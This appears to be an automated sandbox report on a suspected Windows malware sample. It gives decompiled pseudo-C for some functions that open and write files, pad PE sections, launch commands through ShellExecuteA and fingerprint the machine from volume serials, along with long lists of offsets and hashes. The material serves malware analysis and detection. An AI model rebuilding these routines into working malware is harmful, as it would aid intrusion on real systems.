Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction ID: 3080a8c352511dab3afe6aac1e5f9bdd01cc5e55c8c8f00722b444f0ba2a7742
Opcode Fuzzy Hash: cb8d8b12221011c2ecefbb9c2a5bdb301364e629a1ff96e5c87c413b5c368032
Instruction Fuzzy Hash: D6018F7294020877EE106F62AC47F9F3E1DEB54718F04883AF619790D2D9BA94709A6C

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00426940, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 004269CB
__nh_malloc_dbg.LIBCMTD ref: 00426AF7

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: c514fc3dcb210276f36835862a8bcb343f6fb8857285175737a55c2bc8653df6
Instruction ID: 9e17cf629c564b8f7c9e1a67bbc204046d8f466370f125ce74f0eda01ff56596
Opcode Fuzzy Hash: c514fc3dcb210276f36835862a8bcb343f6fb8857285175737a55c2bc8653df6
Instruction Fuzzy Hash: 89E14874E04218CFDB24CFA8D894BADBBB1FB49308F64825ED465AB392C7349846CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041B92A, Relevance: 4.6, APIs: 3, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041BAB9
_memset.LIBCMT ref: 0041BAD6
_memset.LIBCMT ref: 0041BAF1

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cb900e7d694defe8171f3ef1f8b011846e59e63d441e73bebb4f2c3ccbd006ce
Instruction ID: 9691fdab41b58e7fb54f20d38b94a2cd74c474e923fb1fc1f5b33e0a6a3232f7
Opcode Fuzzy Hash: cb900e7d694defe8171f3ef1f8b011846e59e63d441e73bebb4f2c3ccbd006ce
Instruction Fuzzy Hash: 2C511AB9A002088FCB48CF54DA94BD977F1FB4D314F20815AE9146B391D739AE85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 0041B72F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041B729

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 4bb789d87d94bed91558b2bbdc4c9bb34f808343e56a061dc2b9b552f3dfdb43
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: DA011DB5604109EBDB04CF54D885BEB73B4EB88344F10815AFC2587280D738DE92DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 0041992E, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A1ED,?,?,?,0041B555,00400000,00000000,?,0000000A), ref: 0041998F
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A1ED,?,?,?,0041B555,00400000,00000000,?,0000000A), ref: 00419A0E

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419985, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A1ED,?,?,?,0041B555,00400000,00000000,?,0000000A), ref: 0041998F
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A1ED,?,?,?,0041B555,00400000,00000000,?,0000000A), ref: 00419A0E

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction ID: 1aa4839f38af6ffd0a5f10ae6327e5a36d7292e76679eb2ebd5643d0e20a332f
Opcode Fuzzy Hash: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction Fuzzy Hash: 0C019D2C44C3C0DDE302E738AE087413F96D727759F0841A8D1E55A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00429366, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00429375

Part of subcall function 00426250: ___crtCorExitProcess.LIBCMTD ref: 00426259

RtlAllocateHeap.NTDLL(0054B04C,00000000,00000001), ref: 004293A8

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: c713d61dcce36f74477ee796756e4a394ccd7e87b9fac345f459900630d9e91e
Instruction ID: 3b258427223814e5ef9061226bb90349602d34ff5825ce16bfba2e751d29d9da
Opcode Fuzzy Hash: c713d61dcce36f74477ee796756e4a394ccd7e87b9fac345f459900630d9e91e
Instruction Fuzzy Hash: 82E09274B00214EBEB14DB50F88A7AE3760AB54358F50416EF80A092C1D6799D85D79A

Uniqueness

Uniqueness Score: -1.00%

Function 00630DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00630223,?,?), ref: 00630E02
SetErrorMode.KERNELBASE(00000000,?,?,00630223,?,?), ref: 00630E07

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: af18d4e9dd3a86d4bf9c69608d54fada21ccbe56b870c5e7d2e80572571f0e78
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: B2D0123224512C77D7002B94DC09BCD7B1C9F05B66F008011FB0DD9581C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x5bbf4b7b
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x5bbf4b7b
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00893C38, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00893C80

Memory Dump Source

Source File: 00000011.00000002.957274730.0000000000891000.00000040.00000001.sdmp, Offset: 00891000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_891000_E748.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 64b0782cfd7d6c8bcc33227fb5d99c6f7e45faaa7d68a9962a1f78bbf1868c36
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F7F06235100B146FDB203BB9998DB6A76E8FF59729F140528F653E10C0DB70ED454661

Uniqueness

Uniqueness Score: -1.00%

Function 004269B4, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 004269CB
__nh_malloc_dbg.LIBCMTD ref: 00426AF7

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 99a8418ca9f9e50c32bc9b468c3df4a66d4dde703bb626901e6b8ec317e2274f
Instruction ID: c376418931b05a3598aef7a421347454ac0d98c80ae4d7e7ce4af7552afe1886
Opcode Fuzzy Hash: 99a8418ca9f9e50c32bc9b468c3df4a66d4dde703bb626901e6b8ec317e2274f
Instruction Fuzzy Hash: 29E026B1F8470CAAD7308BA5A807768B320E744B34F60832FE635362C1DFB900008F48

Uniqueness

Uniqueness Score: -1.00%

Function 00424460, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424467

Part of subcall function 00424390: __crt_wait_module_handle.LIBCMTD ref: 004243DC
Part of subcall function 00424390: RtlEncodePointer.NTDLL(?), ref: 00424417

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: b557be9e28b6627cb3a38b7d817545a26535ad3f4a1182513a4e6fe4c6f82148
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: E0A0127264420823D00020C33803B02351C83C0638F480021F90C095427862B410409B

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3D0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B3D5

Part of subcall function 0041B3F0: _check_managed_app.LIBCMTD ref: 0041B46C
Part of subcall function 0041B3F0: __heap_init.LIBCMTD ref: 0041B476
Part of subcall function 0041B3F0: _fast_error_exit.LIBCMTD ref: 0041B484
